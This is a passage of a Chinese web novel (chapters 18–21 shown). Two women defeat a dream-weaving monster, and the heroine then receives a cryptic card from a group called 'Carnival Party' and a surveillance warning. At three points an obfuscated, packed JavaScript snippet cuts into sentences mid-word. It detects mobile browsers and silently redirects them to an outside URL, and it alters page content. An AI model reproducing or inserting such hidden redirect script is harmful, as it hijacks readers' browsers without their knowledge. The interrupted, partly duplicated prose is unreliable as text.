男护士皮肤白皙、身材纤瘦,脸蛋也长得很可爱,美中不足的是由于它等级太低,导致它的反应十分迟钝,看起来呆呆的。 它刚一出现,就因为落地时没站稳,直接来了个平地摔,半晌才在雁惊春无奈的注视中缓慢爬起。 恰在此时,处理完经理的段青锋也来到了雁惊春床前,探过头看了看她的脸:“哟,还活着呢?” 雁惊春忍耐着背部的剧痛,根本没心思和她插科打诨,直入主题:“段青锋,你之前告诉我,只要是被你触碰过的东西,你就能让利刃从中离鞘而出。” “但是这个天赋应该也是有使用限制的吧?比如,是不是在限定时间内被你触碰过的东西才有效?或者是不是在特定距离内才能生效?” “10分钟。必须是在10分钟内被我触碰过的东西,我才能进行离鞘。”段青锋爽快地回答完,才问道:“怎么,这也和你的‘计划’有关?” 雁惊春“嗯”了一声,继续说道:“10分钟,足够了。看到你旁边那个男护士了吗?现在赶快在它身上摸几下。” “这就是你的遗言?”段青锋扭头上下打量了一下那男护士,“嚯,都这种时候了你还记得我的喜好,可真是我的好姐妹。” 虽然嘴上说着不着调的话,但段青锋的动作毫不含糊,言语间已经抬手在男护士的身上摸了几下。 雁惊春:“不行,还不够,你再往别的地方多摸几下。” 段青锋挑了挑眉,索性搜身似的将男护士摸了个遍:“这回总行了吧。接下来要干嘛,离鞘吗?我可得提前说好,一旦离鞘,这家伙就废了。” “现在还不是时候,再等等我。”雁惊春简短地交代完,便再次闭上眼睛。 男护士作为被她召唤出的非人存在,与她之间天然就有着极强的链接,她操纵男护士就像其它织茧者操纵自己制造的蜕一样,只需动动念头,即可传达指令。 在她下达了“出发”的指令后,男护士动作僵硬地迈开双腿,摇摇晃晃地往门口走去。 雁惊春将全部心神都用来构筑男护士周围的梦境场景,其余被她放松了控制的地方,立刻被织茧者寻隙入侵。 段青锋始终关注着环境的变化,她敏锐地察觉到,距离她们最远的导诊台处,医院的场景已经开始斑驳脱落,逐渐变回了场馆的模样。 她眉头紧锁,看看躺在床上面色惨白的雁惊春,又望向已经走近门口的男护士。 织茧者的梦境只包含了这个场馆,并未设置场馆之外的场景,它真的能走出去吗? 眼看着男护士已经将手搭在了门把上,段青锋不自觉地屏住了呼吸。 下一瞬,大门打开。出现在门后的,不再是一扇相同的门,而是一条长长的楼梯。 那不是她们进入场馆时走过的路,倒更像是某家医院内的楼梯间。 成功了!段青锋眼前一亮,立刻跟随着男护士的脚步跑到了门口。 然而当她试图迈步出去的时候,却像是碰到了一层无形的障壁,无论如何也无法将脚踏到门外。 她只好默默收回脚,对这个结果倒并不失望。 毕竟她的本体尚被困在场馆内,又连续经历了三层梦境,受织茧者的影响极深,无法轻易突破它划下的界限也很正常。 反观这个男护士,则是在这一层梦境中才被制造出来的,本体并未受到束缚。 更重要的是,比起接受织茧者的影响,它似乎更忠于雁惊春定下的某种规则,也正是靠着那种优先级更高的规则,它才得以突破织茧者定下的限制,走到场馆之外。 就在段青锋若有所思时,雁惊春突然发出压抑不住的痛呼:“呃......啊!” 段青锋连忙奔回床边,查看她的情况,发现她与床垫接触部位腐烂的速度正在急剧增加。 与之相对的,其他普通人受到的束缚倏而变轻,有几个能狠下心来的人,已经硬抗着撕掉一层皮肉带来的痛苦,从床垫上挣脱了出来。 段青锋顿时意识到,随着男护士距离织茧者越来越近,受到死亡威胁的织茧者已经放弃了捕食其它人,开始集中力量消化雁惊春的血肉。 雁惊春的身体不断颤抖着,冷汗止不住地往外冒。周围的医院场景消退得愈发迅速,这代表着她的意识已经逐渐模糊。 段青锋焦急地来回踱步,明明她的等级比雁惊春和织茧者都高,天赋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774133|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也极具攻击性,可偏偏这时候她什么也做不了,只能眼睁睁地看着雁惊春和织茧者拼命。 准确的说,是在拼雁惊春自己的命够不够硬。 她这种行为,无异于以自己的生命作为筹码,与织茧者对赌——是织茧者先将她的血肉脏器消化殆尽,还是她先操纵男护士抵达织茧者的所在? “嗬......嗬......”雁惊春发出的声音越来越轻,已经由痛呼减弱成了呻.吟。 段青锋发觉她已经出气多进气少,索性心一横,拿刀去切割她与床垫紧密相连的皮肉,试图将她与床垫分开。 “别......”雁惊春双目微睁,气若游丝:“它已经......快要到了,现在分开......梦会、断掉。” “再不分开,你就要死了!它已经开始腐蚀你的内脏了!”段青锋心急如焚。 “没关系......”雁惊春疲惫地耷拉下眼皮,“它吸收得越多,我的梦......就会膨胀得、越厉害。” 段青锋咬紧牙关,犹豫片刻,还是按照雁惊春的意思将刀收了回来。 她能理解雁惊春为何如此执着。 现在她们好不容易找到了接近织茧者的机会,一旦放弃,织茧者必定会将她们拖入第四层梦境。 到那时,不仅茧的力量会再次增强,雁惊春召唤出的男护士也会被留在第三层梦境之中,和【行医资格证】一样失去效用。 眼看雁惊春疼得意识模糊,就快顶不住了,一道声音突兀地插了进来:“我带了止痛药!给她吃两颗吧?” 段青锋循声望去,发现是那三名学生。 也不知她们年纪轻轻怎么会有那样的狠劲,居然舍弃了背后的一大片皮肉,硬生生将自己从床垫上撕了下来。 此时她们的后背仍血流不止,鲜血将她们大半的衣衫都染成了红色。 然而,她们还是主动跑了过来,试图帮助这个庇护了她们两轮活动的人。 为首那名学生递来一板药片:“正好我现在在月经期间,所以随身带了专治痛经的止痛药,虽然不太对症,但这个见效很快,给她试试吧!” 段青锋也不确定止痛药在梦境中是否有作用,但还是决定死马当活马医,给雁惊春喂了两粒。 值得庆幸的是,止痛药似乎真的起了一点效果,雁惊春的眉头略微放松,呼吸也变得平稳了一些。 段青锋关切地询问:“你现在感觉怎么样?” “我......看到了。”雁惊春的眼皮轻颤几下,缓缓抬起,露出有些涣散的瞳孔:“我看到了。那个躺在床上的轮廓......虽然很模糊,但我看到了。” 段青锋“嘶”了一声,总觉得她这种说话方式有点渗人:“我是在问,你现在身体和精神的状态怎么样?” 雁惊春却依旧答非所问:“近了、近了......马上,就能碰到它了......啊!” 段青锋被她骤然拔高的语调吓得一激灵:“怎么了?” “它。眼睛。睁开了。”雁惊春低声呢喃,“它。看到。我了。” 在她说出这句话的同时,她们所处的空间蓦地剧烈震颤起来,段青锋错愕地环顾四周,发现周围的一切都在迅速消解。 她立刻反应过来,这是因为雁惊春制造出的男护士已经接近了织茧者,所以织茧者怂了,打算主动解除梦境跑路! “雁惊春!织茧者要醒了,它打算放弃这个茧了!”段青锋急切道,“先放它离开吧,你已经被它吃掉太多了,真把它逼急了临死反扑,你恐怕承受不住!” “不行。”雁惊春的声音极轻,却又十分坚决。 “就算它这回跑了,我也会想办法追踪它的。”段青锋以为她是担心留下后患,“现在我们掌握了茧的运行机制,只要下次......” “不要下次。”雁惊春眼珠转动,望向段青锋的方向,嘴角竟浮现出一个浅淡的微笑:“因为。我。现在......有点饿了。” 段青锋闻言怔住。 是因为人在濒死时会理性消退,进而显露野性吗? 她仿佛从现在的雁惊春身上,看到了非人的特质。 还没等她再说些什么,就见雁惊春的口鼻中突然溢出大股鲜血,混着脏器的碎片一并流出。 然而她脸上的笑容却愈发张狂,语速也变得极快,宛如回光返照:“抓到了,抓到了!不,还不够,要紧紧地抱住它,就像这该死的床垫裹住我时一样!” “段青锋!”雁惊春突然大喝一声,眼睛亮得惊人:“就是现在,离鞘!” 19. 好梦床垫(完) 段青锋始终关注着雁惊春的状态,听到她说出“离鞘”二字时,来不及细想,便立刻张开双手,又猛地握紧! 另一边,随着她的动作,雁惊春召唤出的男护士身上转眼间冒出数不清的利刃,顷刻便将它和被它紧紧束缚住的织茧者一并捅成了筛子。 雁惊春的视野骤然陷入黑暗。她迷茫了两秒,才意识到是因为自己没有掀开眼皮。 等她艰难地睁开双眼,一个样貌平平无奇的女人便映入眼帘。 见她醒来,女人似乎终于松了口气,在她肩膀上拍了拍:“你命可真够硬的。” 紧接着,女人又咧嘴笑了笑:“你这家伙,没有自己的天赋吗?居然突然喊我的天赋名,听得我下意识就把男护士身上的利刃全给离鞘了,还好没理解错。” “啊......”雁惊春捂着头,吃力地坐起身,一时竟有些想不起女人的姓名。 她像是连续通宵了几天,脑中一片混乱,时不时还传来阵阵刺痛,不仅思维变得迟缓,就连记忆也有些模糊。 好半晌,她才从脑中搜寻出一个名字:“段......段青锋?” 无人回应她的呼唤,当她以为是自己记错了,抬起头想要询问女人的姓名时,却发现原本站在床边的女人已经消失不见。 她下意识地转过身,目光四处逡巡。 她发现自己正位于一处场馆内,这里不知为何摆放着许多单人床,目测足有近百张。 此时,躺在其它床上的人也陆续苏醒,他们的脑部似乎也出现了不同程度的不适。 大部分人都在奇怪自己怎么会出现在这里,少部分人则在关心着其它问题。 就比如离她不远的一位白发苍苍的女士,正在呢喃着:“我还以为妈妈来接我了呢。” 稍远处打扮精致的少男在对身旁的保镖发脾气:“你们怎么搞的?我妈妈雇你们来保护我,你们就是这么保护的吗!......哈?你还问我发生了什么?不就是......呃,我怎么知道!总之,我现在头痛,这不就说明你们没有保护好我吗!” 还有一名学生模样的人,正慌乱地抓着自己的头发:“完了,我怎么突然想不起来明天的答辩内容了!” 她的同伴照她脑门拍了一下:“说什么梦话呢?我们大一刚开学,答个鬼的辩啊!” 另一名学生撞了下说自己“大一刚开学”的同伴:“你睡糊涂了吧?我们现在不是在过大二的假期吗?开学就大三了呀!” 雁惊春听着她们的争论,下意识看了眼光脑上的日期。 按照她的经验,这个时候应该正是大学的期末周,不管那三位学生到底是大几,但显然她们已经将期末考试要用到的知识忘得一干二净了。 就在暗自为三位学生默哀时,她忽然注意到光脑上弹出了一条提示:【行动组雁惊春,恭喜您已成功破茧。】 信息来自行动组破茧专用程序,发信人是“momo”。 雁惊春怔了怔,下意识按住腹部。 由于头部的不适感太过强烈,以至于她醒来后完全忽视了身体的其它异样。 直到此刻她有意去感受,才发觉原本已经有些空虚的胃袋此时竟已再度填满,熟悉的饱足感从腹部传来。 所以......她刚刚又捕食了一只织茧者? 她忍耐着晕眩仔细回想,终于从破碎的记忆中大概拼凑出了刚刚的经历。 想到自己破茧前夕的伤势,她连忙背过手摸了摸后背,却发现自己的身体完好无损,完全没有被织茧者吞吃过脏器的痕迹。 再看在场其他人,他们的身上也没有任何受过外伤的迹象,只是一个劲嚷嚷着头痛。 雁惊春的脑中不免浮现出一个猜想:既然这个茧是依托于梦境的,那他们在茧中受伤时,是不是看起来像肉.体受伤,其实却是精神受到了伤害呢? 正因如此,他们在脱离茧后才没有留下外伤,反而出现了头晕头痛,乃至记忆错乱的情况。 那......那些死在了茧中的人呢? 雁惊春心头一跳,立刻起身穿鞋,往那些异常安静的床位走去。 在那里,还有三十余张床位上的人没有动作,仿佛仍在安眠。 她凑近了其中一个人,试着探了探他的鼻息,又摸了摸他的脉搏,惊喜地发现他仍保留着生命体征,只是呼吸和脉搏的频率较常人低了许多。 她立即点开和momo的消息框,将情况反应了过去,要求它尽快安排人前来为他们治疗。 momo的回复很快:【您的申请已收悉。其中,63颗幸存卵将安排专人进行记忆清除及精神污染净化,36颗废卵将安排专人进行无害化处理。】 “什么叫‘废卵’?他们还活着!”雁惊春纠正着momo的措辞,避开人群往场馆外走去。 这一次,momo的回复稍慢了些:【检测到您为新加入行动组成员,可能存在暂未了解“废卵”定义的情况,现特此说明。】 【废卵:指因被织茧者蚕□□神,导致精神缺损程度达到80%以上的卵。此类卵虽保有肉.体活性,却无法再度苏醒。为避免废卵内残留的精神污染进一步扩散、浪费安全区资源,废卵将在破茧后统一进行无害化处理。】 雁惊春沉默良久:“他们真的不可能苏醒吗?你是怎么得出这个结论的,有什么依据吗?” momo:【废卵无苏醒可能。该结论已经过研究组反复实验证实。】 在它笃定的答复下方,是一长篇之前曾经做过的实验依据,雁惊春扫过一眼,只觉得脑袋痛得更厉害了。 她深吸口气,又问起另一个令她在意的问题:“你确定他们会扩散精神污染吗?破茧组织不是有能净化精神污染的仪器吗,用那个清除他们体内残余的精神污染不行吗?” momo:【废卵不可清除精神污染。】 雁惊春抿紧唇,倘若momo说得是真的,那些被蚀空精神的人不会苏醒、无法净化,甚至可能将残余的精神污染扩散出去,那么在她找到更好的处理办法之前,也只能眼看着他们被“无害化处理”。 既然如此,就先保护好幸存的人吧。 雁惊春拖沓着脚步走回场馆,以“众人遭遇致幻药物袭击,目前已缉拿投毒罪犯,请各位原地等待治疗”为由安抚了一下大家,又叮嘱他们不要去打扰那三十多名“重症患者”的休息。 好在众人虽暂时遗失了在茧中及进入茧之前一段时间的记忆,但对她仍有种莫名的信任,没耗费她多少口舌就纷纷答应在原地等待。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797865|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而他们的潜意识里似乎不仅保留了对她的信任,还保留了对床垫的恐惧。 在她提议众人可以稍事休息时,除了已永远陷入沉睡的三十几人外,每个人都离床垫远远的,宁肯席地而坐也不愿触碰床垫分毫。 只希望过来扫尾的人能将他们的记忆清除得彻底些,否则他们恐怕很长一段时间都不敢上床睡觉了。 雁惊春对床垫倒是没什么心理阴影,只是由于担心有人说一套做一套,趁她不注意偷偷溜出场馆,因此也没上床休息,而是守在了场馆门口等待接应。 此时她脑中的眩晕感非但没能缓解,反倒因为刚才的折腾有些加剧。再加上后续的事情已经安排妥当,她的心情稍一放松,大脑便找准时机开始叫嚣着罢工。 强压下的困意再度袭来,她的脑袋不由自出地垂了下去。 紧接着,尖锐的痛感自脖颈处传来,雁惊春猛地恢复清醒,衣衫霎时被冷汗浸湿。 她小心地抬起手摸向脖颈,触及了那划破皮肤的利器。 那是一把薄薄的刀片。 这是......段青锋留下的? 雁惊春立即回想起自己刚从床上苏醒时,段青锋曾经拍了拍自己的肩膀。 恐怕就是在那时,她趁机接触了自己的衣领附近的什么东西,之后又进行了离鞘。 只是,她这次离鞘出的利刃又薄又小,若不是自己困得垂下了头,恐怕根本无法发现。 雁惊春有些想不通,她为什么要这么做?倘若她想要暗杀自己,那不应该在临近颈动脉的位置,离鞘一柄像之前那样锋利的刀剑吗? 雁惊春怀着疑问,试探着将刀片取下,这才发现它已经扎透了自己的衣领。 随着刀片抽出,一张原本被它固定在衣领上的卡片随之掉落。 雁惊春将它从地上拾起,只见上面被某人用黑色笔留下了两行龙飞凤舞的字迹: 【你好,织茧者。】 【——狂欢派对】 * 与此同时,一个从样貌到打扮都极不起眼的女人走下了共享悬浮车,穿过熙攘的人群,拐进了一条小巷。 口袋中的通讯器像是瞅准时机般适时响起,段青锋不紧不慢地将它取出。 倘若有其他安全区的居民看到她手中的通讯器,一定会大感意外—— 在如今这个时代,光脑能满足日常生活的一切需要,即便是第9区的贫民都人手一部光脑,压根没有人会使用这种笨重、老旧,且只有通讯功能的机器。 准确的说,常年居住在安全区的人应该根本没有见过这种机器。 段青锋却对它十分熟悉,看了眼屏幕上的来电人后便点击接通,接着动作迅速地伸长手臂将它拿远,避开了刚接通时刺耳的“刺啦”声后,才将它放到耳边。 “我马上到第9区了,没想到遇见了另一个织茧者,耽误了点时间。”段青锋搜寻着被自己藏进小巷的摩托,语调漫不经心:“不过这场意外,倒更方便我观察她了。” 通讯器那头似乎说了什么,刺耳的电流声和话音一起传来,听得段青锋龇牙咧嘴。 “具体的回去再说,我先说结论。”她跨上自己的摩托车,语气突然变得认真:“我觉得,如果是她的话,可以试试。” 20. 警告 在与前来扫尾的破茧组织成员做好交接、照例完成精神状态检测后,雁惊春毫不意外地被抬进了治疗舱。 然而在净化了精神污染后,她的头痛虽然略有缓解,却依旧觉得头晕眼花,疲惫不堪。 身穿制服的正牌男护士严肃地告诉她,虽然她受到的精神污染并不严重,但由于精神上的消耗极大,在之后的间隔期内务必好好休息。如果间隔期结束后状态仍未好转,可以到治疗中心开具证明,申请延长间隔期。 雁惊春一一应下,浑浑噩噩地返回住处后,一头栽倒在了沙发上。 等到她逐渐从沉睡中苏醒,还没来得及睁开眼,脑中便响起熟悉的声音: 【恭喜您治愈了一名患者!】 【您的天赋织茧·庸医已进化,当前天赋等级:结蛹】 【天赋能力:您可将面积为80平方米的空间划定为诊所,在诊所内,您可自行为患者制定治疗方案,患者的配合程度视方案合理性及患者等级而定。】 【您的技能医护聘用书已升级】 【医护聘用书:您可以通过填写聘用书招聘符合诊所等级的医护,该医护能在您的诊所中以及诊所外5米以内的范围活动。当该医护损毁后,您可以重新进行招聘。】 【当前持有医护聘用书数量:2】 【您已解锁技能:制药】 【制药:您可在技能发动前触碰过的最后三样物品中任选其一进行制药,制药完成后该物品可被视为药品,患者的服药意愿视双方等级及患者对治疗方案的认同程度而定。】 雁惊春刚刚才有些清明的大脑又被这一连串信息搅得混沌起来,她闭目养神片刻,直到完全理解了脑中新增的信息,才睁开眼睛,抬腕看了眼光脑。 光脑上显示的时间已经是她破茧次日的下午三点多,在经过十几个小时的睡眠后,她的疲劳感减轻了许多,只是脑部仍残留着宿醉般的晕眩。 她揉了揉太阳穴,起身往浴室走去。还好她如今的恢复能力和身体素质都大大增强,即便窝在沙发上睡了这么久,身上也丝毫不觉得酸痛。 在收拾好自己后,雁惊春懒洋洋地瘫回沙发上,开始翻看光脑上的信息。 首先是来自破茧组织官方的通知,大概意思是由于她成功破茧,所以间隔期已经刷新,将从破茧当日起重新计算45天。如果后续评估发现茧的等级高于蠕虫,还会按照各等级对应的间隔期增加天数。 至于本次破茧的报酬,也会在评估完茧的等级和强度后,按对应的酬劳标准打款到她的账户。 再就是一名自称“调度员”的人发来的信息,通知她破茧后的扫尾工作已经完成,幸存者们已经由【蝶】特性能力者进行了催眠,抹去了他们与茧相关的记忆。 但是本次事件毕竟造成了人员伤亡,也导致了近百人的短暂失联,为了给那些不知道织茧者存在的普通人一个合理的解释,破茧组织沿用了雁惊春之前的借口,将本次事件定义成了一次以投放致幻药物为手段的恐怖袭击。 而商场为了向她这个解决了“恐怖袭击”的英雌表示感谢,主动提出可以赠送她一次免单机会,欢迎她再次光临商场。 调度员并未直接同意商场的提议,而是将商场的联系人推送给了雁惊春,表示如果她对此感兴趣,之后可以通过这个联系方式自行与商场沟通,只要在沟通时注意对破茧组织和织茧者的存在保密即可。 最后则是一条银行扣款信息,显示她用于归还第五期房贷的一千块已划款成功。 这笔钱对于几天前的她而言,还是一笔能压得她喘不过气来的巨款,如今的她却足以轻松归还。 雁惊春在心里算了算,以她现在的赚钱速度,应该要不了多久就能将全部房贷提前还清了。 虽然她现在已经落户第2区,但完全没有舍弃位于第9区那间小房子的打算。 这不单是因为舍不得自己用二十余年攒下的首付,更是为了以这种方式记住自己的来处,记住自己作为人类的日子。 即便那时候的她是世俗意义上的“底层人”、“失败者”,但她始终尊重那个努力生活的自己。 等到看完了所有消息,她的注意力无处转移,不免再次想起了那张被段青锋别在衣领上的卡片。 为了避免被其他人发现,早在她看清那上面的内容、确定卡片没有其它特殊之处后,就已经将其销毁,但她的心中仍觉不安。 现在想来,自己在茧中的确使用了不少织茧者专属的能力——不仅构建了诊所模样的茧,还召唤出了男护士形态的蜕。 但她们当时是在梦境之中,她又披着【支配·神医】的马甲,将那些异样都解释为梦境的产物也完全说得通,按理说一般人是不会因此将她与织茧者联系起来的,更不会用那种笃定的表述进行指认。 那么不妨换种思路,段青锋会不会是先知道了她的织茧者身份,然后才故意来找她的呢? 这个猜想有自我意识过盛的嫌疑,但雁惊春回忆起自己与段青锋的相遇,总觉得她的一些举动存在蓄意接近的意味。 段青锋到底是何时得知她的身份的?又是怎么知道的?最令她费解的是,为什么在明知她身份的情况下,段青锋却没有除掉她,反而留下了那种......打招呼似的留言? 还有,落款的【狂欢派对】指的又是什么?某个组织吗?可是根据她先前得到的信息,安全区内知道织茧者存在、且吸纳了能力者作为成员的,就只有破茧组织一个啊。 雁惊春下意识地点亮光脑,打开了聊天界面。 她还记得谢臻曾说过,有什么问题可以随时问他。但此刻,她的手指悬在谢臻的头像上,却迟迟没有按下去。 在带她加入组织时,谢臻事无巨细地告诉了她不少与组织和能力者相关的信息,却偏偏没有提及“还有另一个组织”这种重要情报,要么是他不能说,要么就是他也不知道。 思及此处,雁惊春果断放弃了询问他人的想法,转而选择在网络上进行搜索。 出于谨慎,她并未直接搜索“狂欢派对”这个名词,而是选择将“狂欢”和“派对”两个词分开搜索。 光屏上顿时弹出了大量信息,可当她浏览页面时,却发现这些信息都是关于节庆活动或日常分享的,甚至“狂欢”和“派对”两个词从未在同一篇文章中出现过。 雁惊春抿了抿唇,正在犹豫要不要直接搜索“狂欢派对”时,光屏上倏然红光一闪,紧接着一个弹窗跳出,挡在了光屏中央。 只见弹窗上显示着红色的文字: 【破茧行动组雁惊春,因检测到您在网络上发布或浏览不良信息,现予以警告一次。若警告次数达到三次,将强制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802324|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执行处罚。】 【待执行警告次数:1次,警告总次数:1次。】 雁惊春:“???” 她不可置信地看着鲜红的警告框。只是分别检索了“狂欢”和“派对”而已,就算浏览不良信息了?避讳到这种程度反而更可疑了好吧! 还有,这指名道姓的警告又是什么鬼?监控她到这种程度未免也太过分了! 就在她内心吐槽不止时,光脑上忽然弹出了一个通话申请。对方的通讯号码是隐藏的,来电人名称显示为“监察组”。 雁惊春直觉这次通话与刚刚的警告脱不开关系,她深吸口气,按下接通。 “解释。”还没等她开口,通讯那头便传来一个冰冷的声音。 雁惊春蹙起眉:“你要我解释什么?” “刚才的警告,你应该已经收到了。”由声调判断,通讯那头的人分明是个人类,可她的语气却比人工智能还要冷漠:“现在,向我解释你做出违规行为的原因。” 这种时候,倘若能立即跟上她的思路反而会显得自己图谋不轨,雁惊春索性装傻:“我哪儿做出违规行为了?这警告发错了吧,我压根没看什么奇怪的东西啊!” 对面沉默片刻:“你刚刚在网上进行了信息检索,检索目的是?” “目的?”雁惊春停顿了一会儿,像是刚反应过来似的:“我刚从茧里出来,想找找有没有能让我放松一下的活动啊,难不成这算违规?” 对面没有回答她的问题,反问道:“你确定你所说的理由属实吗?” “确定啊,这有什么好撒谎的。”雁惊春理直气壮,“所以这次的确是你们误判了对吧?那应该帮我把警告取消掉吧。” “警告一经下达,无法取消,今后请注意规范自身行为,避免再次违规。”对面冷酷拒绝,随后顿了顿,继续道:“另外,破茧后最好的放松是休息,而不是参加活动。” 语毕,对面立即结束了通话。 雁惊春轻轻呼出口气。还好,糊弄过去了。 保险起见,她又继续搜索了“聚会”、“活动”等词,以佐证自己的确只是在寻找放松的机会。她手上机械地划拉着光屏,脑中则在思索“狂欢派对”的事。 从破茧组织的反应来看,他们对于“狂欢派对”极为警惕,对这个存在的规避甚至到了矫枉过正的地步。 很显然,这两个组织处于敌对立场。而“破茧”的行动方针是派遣能力者进入茧中、消灭织茧者。 那么与之相对的,“狂欢派对”的目的难道是辅助织茧者?如果当真如此,那它毫无疑问属于邪恶组织。 可是,段青锋之前与自己联手破茧时,表现得却毫不含糊...... 雁惊春只觉得脑中思绪纷乱,犹如一团乱麻,既搞不懂“狂欢派对”的立场,更想不通这个组织找上自己的理由。 是因为“敌人的敌人就是朋友”?还是觉得既然大家都是见不得光的存在,不如抱团取暖? 目前的线索太少,完全不足以让她推导出结论。 雁惊春思忖片刻,决定暂且将此事搁置。 毕竟,既然“狂欢派对”用这次的留言打了个令她印象深刻的招呼,还彰显了自身的存在感,那么之后这个组织很可能再次主动与她联系。 在那之前,她就先耐心地等待吧。 21. 请托 在下定决心静观其变后,雁惊春正式开始了自己的躺平生活。 她每天几乎不怎么出门,偶尔离开宿舍,也只会去便利店补充些生活物资。 其它织茧者于她而言,似乎是一种很顶饱的食物,即便如今“吃撑了”的感觉已然消失,疑似代表“消化结束”的升级也已经完成,但她仍然不觉得饥饿。 既然“吃”这个重要需求已经解决,她每天必须要做的事便只剩下睡觉了。 由于之前采购床垫失败,卧室内那张死过人的床上依旧只有一张光溜溜的床板。她懒得再次出门采购,索性在沙发上睡了三天。 等到了第四天早上,雁惊春神清气爽地从沙发上爬起,破茧带来的后遗症已彻底消失。 恰好破茧组织也完成了对出现在“好梦床垫”那个茧的评估,最终确定该织茧者的等级为结蛹。 与之相应的,雁惊春本次剩余的间隔期立即翻倍,变成了3个月。本次破茧的报酬也打到了她的账户,金额足有23万。 至于她的天赋等级,因为在破茧后做精神状态检测时她还没升级,所以组织尚未察觉她天赋等级的提升,而她本人也并不打算上报此事。 毕竟在破茧组织的视角里,她从孵化完成变为蠕虫级,再到升级成结蛹级,前前后后总共只花费了大约三天时间,就连她自己都觉得这个速度快得过分了。 而隐瞒等级导致的主要后果,就是她在组织内部拥有的权限依然处于能力者中的最低一档。 因此,当她试图为自己申领武器时,选择界面上那些威力强大或功能奇特的武器装备示意图都呈现灰色,图片上还有一个锁头形状的标识,下面写着“仅向天赋XX级及以上能力者开放。” 雁惊春略过那些被锁定的武器,发现她如今可以选择的只有一些功能单一且杀伤力较弱的小型武器。 不过这倒正合她的心意。 她申领武器只是为了日后再误入茧中时用来自保,不需要杀伤力太强,只要便于随身携带且容易操作即可。毕竟,不可能每一次都有像段青锋那样的人来给自己递刀。 在经过一番筛选后,雁惊春最终选定了一副黑色手套。 它的外表看起来只是稍厚些的普通手套,可一旦拨动手套上隐藏的按键,对应的功能就会被触发。 比如,它可以发射出一段末端带有钩爪的钢索,也能像好梦床垫那些“工作人员”最初杀人时那样,从掌心弹出一柄光刃。 虽然受限于手套的体积,这些功能的威力都不大,但雁惊春还是看中了它便携的特点,花费8万买下了一副手套和几支对应型号的备用能源。 在戴上手套并简单熟悉了操作后,雁惊春联系了那家位于第5、6区交界处的商场,确定今天就能兑现免单机会后,当即动身前往商场。 之前的“恐怖袭击”并未给这家商场造成什么打击,商场内依旧人流如织,只是悬在半空中的广告屏上换了个内容,不再宣传床垫,而是改成了美容塑形的广告。 雁惊春对此不感兴趣,只是扫了一眼便收回视线,开始专心选购自己想要的东西。 虽说商场允诺本次的消费不设限额,都将予以免单,但她并没有借机大肆采购,只挑选了自己真正需要的物品。 几套运动服、运动鞋、一些日用品,以及一张床垫。 前来接待她的商场经理在看到她所选的床垫后,脸上不自觉浮现出讶异的神色,显然想不通她在遭遇伪装成好梦床垫销售员的恐怖分子袭击后,为什么还会选择这个品牌。 商场经理小心翼翼地观察了下雁惊春泰然自若的神情,不免心生敬畏:恐怕她的真实目的并非购买床垫,而是想把它作为自己击溃恐怖分子的纪念品。 事故结束后,经理曾特意打听过,在那场恐怖袭击中丧生的除了三十多名受害者外,还有上百个恐怖分子,而干掉那百余个恐怖分子的正是眼前的女人。 原本经理并不相信仅凭一个人就能解决上百人,可根据官方通告和幸存者模糊的记忆证实,此次事件虽有其他幸存者和三十多名牺牲者的辅助,但实际动手的确实只有她一人。 再看她如今的状态,显然不仅没有留下心理阴影,反而还在回味那场杀戮,真是恐怖如斯! 经理的态度变得越发恭谨,而走在她身旁的雁惊春此时却在神游天外:在没有织茧者和蜕干扰的情况下,好梦床垫的确是体感最舒服的。然而现在她在看到好梦床垫时,后背还是会产生幻痛。 算了,白得一张这么贵的床垫,就算背是痛的,起码心是暖的。至于幻痛问题,她相信自己很快就能克服。 两人就这样各怀心思地走入接待室,经理满脸堆笑地为她送上饮品和点心,表示自己要去进行核销,请她在这里稍作等待,随即便火急火燎地离开了。 雁惊春望着经理匆忙的背影,本想告诉她自己其实也没那么急,然而话还没来得及说出口,经理已转身关上了接待室的门,急促的脚步声很快消失在门外。 雁惊春只得坐回沙发上耐心等待,在瞥见茶几上的点心后,心中不免有些感慨。曾经她根本买不起这种昂贵的零食,如今终于可以随意享用时,这种人类的食物对她已毫无意义。 她伸出手,将一枚枚独立包装的精致点心堆叠摆放起来。当她搭建的“点心城堡”完工时,接待室的门也恰好被人推开。 她以为是经理回来了,下意识抬头望去,却意外看到一个熟悉的身影。 那是个明显精心打扮过的少男,粧容自然,脸部的轮廓在发型的修饰下显得愈发精致。 他的身上穿着一条淡粉色的露肩连衣裙,颈间和腰部都紧束着米色的丝带,丝带上还打了漂亮的蝴蝶结,整个人看起来如同等待拆封的礼物一般楚楚动人。 虽然他今天的打扮风格有所变化,但雁惊春还是一眼认出,他就是之前在茧里抱着自己手臂不放的那名少男。 她起身打了个招呼:“你好,你也是来这里等人的吗?” 